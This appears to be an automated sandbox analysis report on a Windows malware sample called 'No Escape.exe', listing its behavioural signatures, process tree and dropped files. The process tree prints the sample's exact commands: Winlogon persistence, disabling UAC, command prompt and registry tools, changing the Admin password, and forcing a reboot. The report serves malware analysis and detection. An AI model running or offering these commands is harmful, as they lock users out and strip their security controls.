Analysis

  • max time kernel
    9s
  • max time network
    10s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/06/2024, 10:48

Errors

Reason
Machine shutdown

General

  • Target
    No Escape.exe
  • Size 771KB
  • Sample240611-mv8d2atgnc
  • SHA256 56d612e014504c96bb92429c31eb93f40938015d422b35765912ac4e6bd3755b
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Disables RegEdit via registry modification 1 IoCs
  • Sets file to hidden 1 TTPs 2 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 12 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs .reg file with regedit 1 IoCs
  • Runs net.exe
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\No Escape.exe
    "C:\Users\Admin\AppData\Local\Temp\No Escape.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:1172
    • C:\Windows\system32\wscript.exe
      "C:\Windows\sysnative\wscript.exe" C:\Users\Admin\AppData\Local\Temp\45A4.tmp\45A5.tmp\45A6.vbs //Nologo
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:408
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\hello.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3636
        • C:\Windows\system32\attrib.exe
          attrib +s +h C:\msg.exe
          4⤵
          • Sets file to hidden
          • Views/modifies file attributes
          PID:2692
        • C:\Windows\system32\attrib.exe
          attrib +s +h C:\launch.exe
          4⤵
          • Sets file to hidden
          • Views/modifies file attributes
          PID:4348
        • C:\Windows\regedit.exe
          regedit /s hello.reg
          4⤵
          • Runs .reg file with regedit
          PID:3420
        • C:\Windows\system32\reg.exe
          reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System /v DisableLogonBackgroundImage /t REG_DWORD /d 1
          4⤵
            PID:3288
          • C:\Windows\system32\reg.exe
            reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d C:\Windows\system32\userinit.exe,C:\launch.exe /f
            4⤵
            • Modifies WinLogon for persistence
            PID:4276
          • C:\Windows\system32\reg.exe
            reg add "HKEY_CURRENT_USER\control panel\desktop" /v wallpaper /t REG_SZ /d C:\hello.jpg /f
            4⤵
            • Sets desktop wallpaper using registry
            PID:4480
          • C:\Windows\system32\reg.exe
            reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 1
            4⤵
              PID:4204
            • C:\Windows\system32\reg.exe
              reg ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
              4⤵
              • UAC bypass
              PID:2356
            • C:\Windows\system32\reg.exe
              reg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2
              4⤵
                PID:3216
              • C:\Windows\system32\reg.exe
                REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
                4⤵
                • Disables RegEdit via registry modification
                • Modifies registry key
                PID:1528
              • C:\Windows\system32\net.exe
                net user Admin death
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:4396
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 user Admin death
                  5⤵
                    PID:2616
                • C:\Windows\system32\shutdown.exe
                  shutdown /t 0 /r
                  4⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4816
          • C:\Windows\system32\LogonUI.exe
            "LogonUI.exe" /flags:0x4 /state0:0xa39ac055 /state1:0x41c64e6d
            1⤵
            • Modifies data under HKEY_USERS
            • Suspicious use of SetWindowsHookEx
            PID:432

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                date.txt

                • Path C:\Program Files (x86)\date.txt
                • Size 120B
                • SHA256 d3195bde888f9b8a71f2eb840222f1586b652d0ede9f39841a180ead03633ca9
                • MD5 SHA1 SHA512

                hello.bat

                • Path C:\Program Files (x86)\hello.bat
                • Size 1KB
                • SHA256 2b2114784d15b0b0d5475256851b4d0d4da7181198c2a93a304ecedb98eaf091
                • MD5 SHA1 SHA512

                hello.jpg

                • Path C:\Program Files (x86)\hello.jpg
                • Size 110KB
                • SHA256 6e1115188aa00fb5ff031899100bacb0d34819707e069bca3eb53935ebb39836
                • MD5 SHA1 SHA512 SSDEEP

                hello.reg

                • Path C:\Program Files (x86)\hello.reg
                • Size 3KB
                • SHA256 bb21001c1c468e6e372d836952c3efb7fbdc98e9a20a1bfdcc4beb1b7a1e7f83
                • MD5 SHA1 SHA512

                launch.exe

                • Path C:\Program Files (x86)\launch.exe
                • Size 92KB
                • SHA256 34bc0d5b6029a74b9cda56b72434ec1b55b6742ff5ef832d36027a987a63cd42
                • MD5 SHA1 SHA512 SSDEEP

                msg.exe

                • Path C:\Program Files (x86)\msg.exe
                • Size 9KB
                • SHA256 fc7174e44a1d34040c3bc05ce24e648742a38a3accce22e8300d7059e4d12431
                • MD5 SHA1 SHA512 SSDEEP

                45A6.vbs

                • Path C:\Users\Admin\AppData\Local\Temp\45A4.tmp\45A5.tmp\45A6.vbs
                • Size 588B
                • SHA256 190a0d994512ed000cf74bd40fb0502988c2ac48855b23a73fd905c0305fc30f
                • MD5 SHA1 SHA512